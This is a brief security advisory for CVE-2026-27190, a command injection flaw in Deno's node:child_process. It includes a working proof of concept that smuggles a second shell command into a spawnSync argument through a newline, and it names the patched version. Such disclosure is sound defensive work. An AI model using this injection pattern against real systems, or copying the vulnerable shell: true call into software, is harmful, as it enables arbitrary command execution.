CVE-2026-27190

Summary

A command injection vulnerability exists in Deno's node:child_process implementation. 

Reproduction

import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));

Run: deno run --allow-all poc.mjs

The file /tmp/rce_proof is created, confirming arbitrary command execution.

Mitigation

All users need to update to the patched version (Deno v2.6.8).